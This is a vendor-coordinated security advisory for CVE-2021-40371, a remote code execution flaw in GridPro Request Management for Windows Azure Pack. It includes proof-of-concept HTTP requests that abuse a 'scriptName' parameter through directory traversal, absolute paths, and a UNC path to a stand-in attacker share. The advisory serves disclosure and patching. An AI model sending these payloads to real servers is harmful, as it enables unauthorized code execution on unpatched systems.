Share
## https://sploitus.com/exploit?id=PACKETSTORM:164621
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
~ Certitude Securtiy Advisory - CSA-2021-003 ~  
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~  
PRODUCT : GridPro Request Management for Windows Azure Pack  
VENDOR : GridPro Software  
SEVERITY : Critical  
AFFECTED VERSION : <=2.0.7905  
IDENTIFIERS : CVE-2021-40371  
PATCH VERSION : 2.0.7912  
FOUND BY : Giulian Guran, Certitude Lab  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Introduction  
------------  
  
"Windows Azure Pack delivers cloud capabilities to \[...\] on-premise  
datacenter\[s\]. \[GridPro Request Management for Azure Pack\] add\[s\]  
business processes, custom services, and customer support by integrating  
Microsoft System Center Service Manager(TM) with Windows Azure Pack in a  
unified cloud platform."  
  
Source: https://www.gridprosoftware.com/products/requestmanagement/  
  
Vulnerability Overview  
----------------------  
  
GridPro Request Management for Windows Azure Pack provides the ability to  
execute PowerShell scripts. Through specific JSON parameters in HTTP requests  
the plugin takes relative path locations as input to execute the desired  
PowerShell scripts on the server. Through multiple techniques however, it is  
possible to reach PowerShell scripts in other directories that may not be  
intended to be executed by the application and can therefore lead to remote  
code execution.  
  
1. Through directory traversal attacks (e.g. usage of one or more `..\`) it  
is possible to reach parent directories outside the original web directory  
and execute arbitrary local scripts the web server account has access to.  
2. Through fully qualified path names (e.g. `C:\Temp\script.ps1`) it is  
possible to execute arbitrary local scripts the web server account has  
access to, when the full path to the script is known.  
3. By using UNC paths (e.g. `\\attacker-server\share$\script.ps1`) it is  
possible to execute arbitrary PowerShell scripts from attacker-controlled  
remote network shares.  
  
Proof of Concept  
----------------  
  
Typical HTTP requests that execute PowerShell scripts on the server may look  
as follows. It is important to note that adding a second backslash is  
necessary to properly escape the backslash character:  
  
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2  
Host: [vulnerableHost]  
[...]  
Connection: close  
  
{"scriptName":"Directory1\\Directory2\\OriginalScript.ps1",[...]  
  
By default, this relative path lies under the configured web server directory.  
The possible attack types to gain access to PowerShell scripts in other  
directories or shares are described in the following sections.  
  
### 1. Directory Traversal  
  
Using a directory traversal, it is possible to e.g. execute a local script  
`C:\Temp\script.ps1`:  
  
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2  
Host: [vulnerableHost]  
[...]  
Connection: close  
  
{"scriptName":"..\\..\\..\\..\\..\\..\\Temp\\script.ps1",[...]  
  
An attacker can exploit this by writing or uploading arbitrary PowerShell  
scripts to the server and guessing their storage location to gain remote code  
execution or by abusing existing PowerShell scripts on the server.  
  
### 2. Direct Access Using The Fully Qualified Path Name  
  
Using the fully qualified path name, it is again possible to e.g. execute the  
local script `C:\Temp\script.ps1`:  
  
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2  
Host: [vulnerableHost]  
[...]  
Connection: close  
  
{"scriptName":"C:\\Temp\\script.ps1",[...]  
  
An attacker can exploit this by writing or uploading arbitrary PowerShell  
scripts to the server and knowing their exact storage location to gain remote  
code execution or by abusing existing PowerShell scripts on the server.  
  
### 3. Execution Of Attacker-Controlled Scripts From Network Shares  
  
Using UNC paths, it is possible to e.g. execute arbitrary scripts from  
attacker-controlled network shares:  
  
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2  
Host: [vulnerableHost]  
[...]  
Connection: close  
  
{"scriptName":"\\\\attacker-server\\share$\\script.ps1",[...]  
  
An attacker can exploit this by preparing arbitrary PowerShell scripts on an  
attacker-controlled network share and get them executed on the target server  
to gain remote code execution.  
  
Resolution  
----------  
  
GridPro fixed this vulnerability in GridPro Request Management for Windows  
Azure Pack version 2.0.7912 and later.  
  
Timeline  
--------  
  
---------------------------------------------------------------------------  
Date Text  
------------ --------------------------------------------------------------  
2021-08-04 Sending vulnerability description and proof of concept to the  
vendor  
  
2021-08-17 GridPro team confirms issue being reproduced, fixed and  
validated on their side  
  
2021-08-18 GridPro team confirms a customer having installed the fix  
  
2021-08-19 Coordination with vendor  
  
2021-08-20 Coordination with vendor  
  
2021-08-25 Coordination with vendor  
  
2021-08-31 Coordination with vendor  
  
2021-09-06 Vendor releases patch  
  
2021-10-19 Coordination with vendor  
  
2021-10-20 Public release of the advisory  
---------------------------------------------------------------------------  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
(c) 2021 Certitude Consulting GmbH  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~